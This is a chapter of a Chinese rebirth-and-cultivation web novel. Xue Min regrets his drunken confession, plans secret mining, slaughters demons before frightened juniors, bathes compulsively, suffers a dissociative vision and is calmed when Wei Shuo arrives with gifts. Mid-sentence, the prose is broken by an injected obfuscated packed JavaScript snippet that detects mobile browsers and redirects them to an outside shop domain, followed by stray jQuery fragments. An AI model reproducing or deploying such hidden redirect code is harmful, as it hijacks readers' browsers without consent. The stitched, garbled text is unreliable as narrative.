次日,薛闵裹着被子在床上拱来拱去,他后悔得肠子都青了。
昨晚他本意是灌醉卫朔,怎么最后自己喝成那个鬼样子?还说了一堆有的没的,好似在博取同情一般。
他绝对没有那个意思,只是酒后胡言。
薛闵翻身下床,拖沓着步子,慢悠悠扬声唤道:“来人,更衣。”
上官闫领着几名伺候梳洗的仆从应声入内,替薛闵梳洗更衣。
薛闵佯做随意地环视一圈,随口问:“卫朔呢?”说完,又环视一圈,还朝屋外看了几眼。
上官闫回答:“世子,卫公子昨夜就离开了。”
薛闵微顿,眉头不悦地蹙起。
招呼不打一声就走了?
是他昨晚的肺腑之言不够可怜吗?
心头莫名覆上一层阴冷郁气,周遭空气瞬间沉滞下来。
上官闫连忙开口宽慰:“后厨新研了几道菜式,今晚不如再邀卫公子来府中小坐叙旧?”
薛闵的指尖轻快地敲打着梳洗台,道:“这可是你的主意,跟我无关。”
“是是是。”闫叔乐呵呵地应着。
薛闵收拾妥当,悠然倚在临湖美人靠上。鱼竿垂在水面,他并不当真垂钓,只是轻轻晃着钓线逗弄成群锦鲤。
微风拂过湖面,漾开层层涟漪,他漫不经心听上官闫逐项禀报各处事务。
上官闫语声骤然凝重,打破院中闲适:“还有一桩要事,家里已然两月杳无音信。书信彻底断绝,往日定时输送的资储,也一并中断了。”
薛闵思忖,越国公府倾覆的消息迟早会传入朝堂,交由朝臣勘核定议。
凡界官府行事向来拖沓迟缓,玄域与凡界又云山阻隔。等到薛家灭门的消息传至齐物宗,少说还要耗上月余光景。
上官闫面露忧色,轻声问道:“世子,您还在和国公爷置气?”
在他眼中,越国公虽说对世子很是严苛,却从未在吃穿用度上亏待过半分。
“怎么会。”薛闵抬手,将手中鱼食尽数撒入湖面。
群鲤争抢簇拥,轰然搅碎一池波光,纷乱不堪。
他望着满目躁动,语调凉淡空寂:“往后,也不会了。”
上官闫心头沉甸甸的,暗自忧虑。失去越国公府庞大根基作为依仗,单凭眼下的绛云府,撑不了几年。
世子自幼养尊处优,花销浩大,处处都需要源源不断的财力维系。
他犹豫片刻,斟酌着开口:“世子,往日有国公府兜底,万事不必忧心。如今国公爷断了您的花销,若是长久缺少财源,绛云府诸多用度…恐怕难以维持。”
何况世子修行所需的天材地宝,更是一笔无底洞般的开销。
薛闵不以为意道:“求人不如求己。”
上官闫闻言神色愈发微妙。
他家世子只懂挥金如土,哪里通晓生财之道?
薛闵心中自有考量,目前来看,薛家明面上的资产全都化为乌有,潜藏的财产牵缠各方势力,眼下不宜轻举妄动。
抬手之间,一卷舆图悄然展现在石桌上。薛闵指尖落下,重重圈出数处隐秘点位,皆是前世他登临越王之位后,寻得的珍稀矿脉。
“闫叔,让我们的暗侍悄悄前往,不可走漏风声。”
上官闫俯身看着图上标记,眼底藏着几分将信将疑。这般荒僻去处,真能藏有矿脉?
薛闵舒展手臂,猫咪似的伸了个懒腰,含笑道:“放宽心,闫叔,我岂能让你们跟着我露宿街头?就算没有越国公府,绛云府也绝不会垮。”
摆脱薛家众人的算计倾轧,这一世他势必活得比前世更为肆意尽兴 。
他不仅要荣华富贵与权势地位,还要在玄门闯出一番天地。
重生是为了弥补遗憾吗?当然不是。
对于薛闵而言,这是一个契机,他要将俗世权柄和修行仙途,统统推至极致。
待到功成之日,他倒要看看,还有谁敢妄言他是倚仗合欢道、借卫朔之力,跻身通玄境的邪修!
“薛闵师兄,此法…是否过于阴邪?”同行的师弟连牙齿都在发颤。
薛闵领了应物阁的惩戒,下山搜捕魔物,半路撞上几名热心想要上前协助的同门。
薛闵惯常会做表面功夫,自然不会拒绝,还将自己的法器分于师弟师妹。
可不过片刻,师弟师妹们便察觉不对——从前薛闵虽锋芒逼人,下手尚有分寸,而今他逼审魔物之时,眼底翻涌着近乎病态的凛冽快意,不留半分余地。
血色与戾气缠在周身,阴冷迫人,看得一众晚辈脊背发寒,心底发颤。
薛闵眸色艳丽,凝着法器内疯狂挣扎的魔物,语声轻缓:“我这叫以彼之道,还施彼身。”
他抬手,指尖轻拭颌间溅落的漆黑污血,动作优雅矜贵,抬眸便是温煦粲然的笑意:“放心,若是宗门大比相逢,我绝不会这般待你们。”
师弟师妹相顾无言,一时哑然。
早知道就不跟来了。
“不过,你们的心性太孱弱了。”薛闵随口点评,反手扣住暗中偷袭的魔物头颅,骤然发力。
腥臭污液与碎肉骤然迸溅,点点斑驳落在绯色衣袍上,染出晦暗妖异的纹路。
他立在满地狼藉残躯之间,衣袂沾血,笑意淡淡,望向众人的目光竟带着几分勉励,“要加紧修炼啊。”
反差极致的画面压得人喘不过气,身侧师弟终于绷不住,俯身剧烈干呕。
一行人下山时意气昂扬,返程路上只剩一片沉寂。
除却薛闵依旧神色从容,其余师弟师妹皆提不起半分兴致。
分别之际,薛闵从储物袋里取出丹药、护身符分赠众人,一只只锦盒循序递到各人手上,他依旧是那副优雅从容的贵公子模样。
年轻的师弟师妹心中五味杂陈,悄然生出几分愧意。
此番下山,他们未曾出力相助,反倒一路对薛闵心怀惊惧,到头来还收了许多师兄相赠的法器物件。
有人不好意思道:“师兄,一起吃顿便饭吧?我们请你。”
薛闵面上笑意和煦,轻轻摇头:“今晚吗?恐怕不行哦,我约了人。”
谈笑间,方才弥漫在众人心头的寒意稍稍消散。
一名师妹顺势打趣:“不知是哪位佳人?”
薛闵轻轻喟叹一声:“看来在外头,我竟落了个风流名声?”
“师兄本就风姿卓绝!”
“是啊,还平易近人!”
薛闵语调轻快,摆了摆手笑道:“莫要再夸了,此刻我囊中空空如也,没什么能送你们的啦。”
喧闹笑语消解了众人心中阴霾,仿佛山间那场血腥杀伐、诡异疯态,尽数被抹去。
薛闵恍若翩跹红蝶,步履轻快地折返绛云府,声线清亮,带着几分少年人的鲜活气扬声喊道:“闫叔,快备热水,我要沐浴更衣!”
上官闫连忙快步迎上前:“后院汤池早已备妥…您怎弄得这般狼藉?”
绯色衣袍尚且沾着干涸的晦暗污迹,薛闵却浑然不以为意。
人前周旋的从容假面暂且褪下,也不见方才缉捕魔物时的凛冽狠戾,只剩下少年世子不加掩饰的随性鲜活。
“诶呀,说了你也不懂,就打打杀杀,抓抓魔物什么的。”薛闵随手褪下外袍,眸中泛起几分期待,开口问道,“卫朔呢?他几时过来?”
上官闫微微一怔,随即面露难色:“卫公子他…”
薛闵肩头微沉,神色冷淡:“他不肯来?”
“并非如此,只是我四处寻不到人。”这一日上官闫多方打探,才知晓卫朔行踪无定。闭关之时居于掌门的天籁主殿,值守便宿在镇戍司的巡捕房,若是外出做任务,便栖身飞鹤舟中。
能找的地方他都找过,皆不见人影。
上官闫暗自思忖,试探道:“莫不是卫公子再度下山履职去了?”
方才归来时那份雀跃一扫而空,薛闵随手将褪下的外袍丢给身侧仆役,声音带着无法宣泄的郁燥:“早说让你不要叫他!”
上官闫疑惑地眨巴两下眼睛:“……”您早说了么?
温热池水漫过肩头,薛闵总觉得魔物留在身上那股腥浊气息牢牢黏在皮肉之上,挥之不去。
一遍又一遍反复搓洗,心绪愈发焦躁,周身气氛沉沉压了下来。
“烦死了…”
“什么东西!”
“怎么洗不掉!”
一旁侍奉的仆人们面面相觑。池内早已投入足量香料,浓郁的伽蓝香气四下弥漫,在他们闻来,并无半分污浊异味。
世子到底在不高兴些什么?
氤氲水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871998|212311||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
汽笼住汤池,薛闵艳丽的眉眼盛满不耐。
他持续运转灵力冲刷周身,可萦绕心头那股莫名躁郁,分毫未曾消散。
沐浴完毕,薛闵舒展双臂,任侍女为他拢上里衣,眉宇间的郁结自始至终未曾散开。
乌黑长发松散垂落,铺了满肩,汤池氤氲的水汽还黏在发梢。
他满身阴沉地走出汤池,有些魔怔地想,他有一日未曾见到卫朔了,该不会,这一切都是他臆想的…
其实,卫朔从未回到他身边。
话说回来,灵医早前便提醒过他,近些年他心绪起伏过大,执念淤积脏腑,极易神思混乱。
薛闵驻足,抬手按住额角,缓缓阖上双目稍作调息。待再度睁眼,周遭景象骤然颠覆——
哪里还是少年时的绛云府,竟是多年之后的越王府。
薛闵经常这般,神色空洞地盯着右侧,企图从那虚空中盯出些什么。
但是四季流转,雨落雪飘,薛闵的右侧始终空空荡荡。
再次眨眼,越王府消失,绛云府出现。
场景不断闪现变化,薛闵僵立原地,不敢发出一点声响。
他害怕,这几日真的是一场梦。
直到闫叔的声音落在薛闵耳侧,不断变化的场景才定格在绛云府中。
薛闵心头重压轰然坠落,脱力般攥紧廊柱,指节泛白用力。喉间发紧,耳膜嗡鸣,视线虚浮晃动,只能看见上官闫开合的唇瓣,听不进半句劝慰。
后背陡然一暖,被人轻轻贴住,熟悉的气息将他层层包裹。
“薛闵。”清冽沉稳的语调清晰地撞进薛闵耳中。
薛闵下意识抬眼,五指仍旧死死攥着廊柱,不肯松开分毫。
卫朔逆着落日余晖,高马尾被晚风扬起,尚未稳落,分明是匆匆赶来。
少年轮廓利落冷挺,青山般干净的气韵,压下了薛闵心底翻涌的惶惑。
他看得失神,喃喃轻唤:“卫朔。”
卫朔抬手举起手中礼盒,凝着他余悸未消的眉眼,语调平和:“我来拜访,带了礼物。”
薛闵定定凝视他片刻,忽然开口:“…昨日你不愿随我入府,是因为、没有备礼?”
“嗯。”卫朔颔首。
往日他旁观薛闵邀约同门,众人登门皆携带礼物,以此彰显重视。
说着,他又抬起另一只手,手中尚提着其他锦盒,郑重道:“双份。”
昨日那份也补上。
薛闵心中百感交集,盯着卫朔久然不语。
倏地,卫朔鼻翼翕动,闻了闻,问:“什么味道?”
薛闵连忙后退,戒备地闻了下自己的袖子:“…很难闻对不对?我洗不掉,你先别闻。”
“不难闻。”
卫朔倾身凑近薛闵,然后微微掩盖住鼻尖,略微嫌弃地后退半步,问:“你掉…掉香罐里了?”
浓郁厚重的伽蓝香层层叠叠裹在薛闵身上,浓郁缠人,怕是连蜂蝶都能在他身上撷满花蜜。
薛闵:“……”
他面皮微烫,强行端起矜傲,从齿缝里挤出一句:“这叫风雅。”
一旁上官闫适时开口,替二人圆场:“卫公子,世子今日下山缉魔,场面凶险,怕是受了些心神惊扰,还望公子多宽慰几句。”言罢便悄然退离,不留半分打扰。
突兀的人声惊得薛闵心头一跳,紧绷的神经骤然乍裂,低声嘟囔反驳:“谁受惊扰了。”说着,他瞄了眼卫朔提着的礼盒,矜持地抱着手臂,“带什么礼物啊?这么客气都不像你了。”
卫朔将薛闵的嘚瑟小表情尽收眼底,他低头看了眼礼盒,配合道:“那我带走。”
薛闵语塞片刻,诚心问:“…你不气我会怎样?”
卫朔抬眸,唇角浅浅扬了一下,旋即提着礼盒,稳步走向院中石桌。
薛闵难以置信地回味,卫朔笑了?为何?难道他现在看起来很可笑?
他忙低头打量自己,乌发松散披在肩头,衣物随性舒适。
不可笑啊。
还香香的。
那卫朔笑什么?
总不能是…见到他就特别开心?
薛闵心底暗自揣度,面上依旧端着几分矜持。他微微扬着下颌,稳步朝石桌旁的卫朔走去。
嗯,一定是见到他特别开心。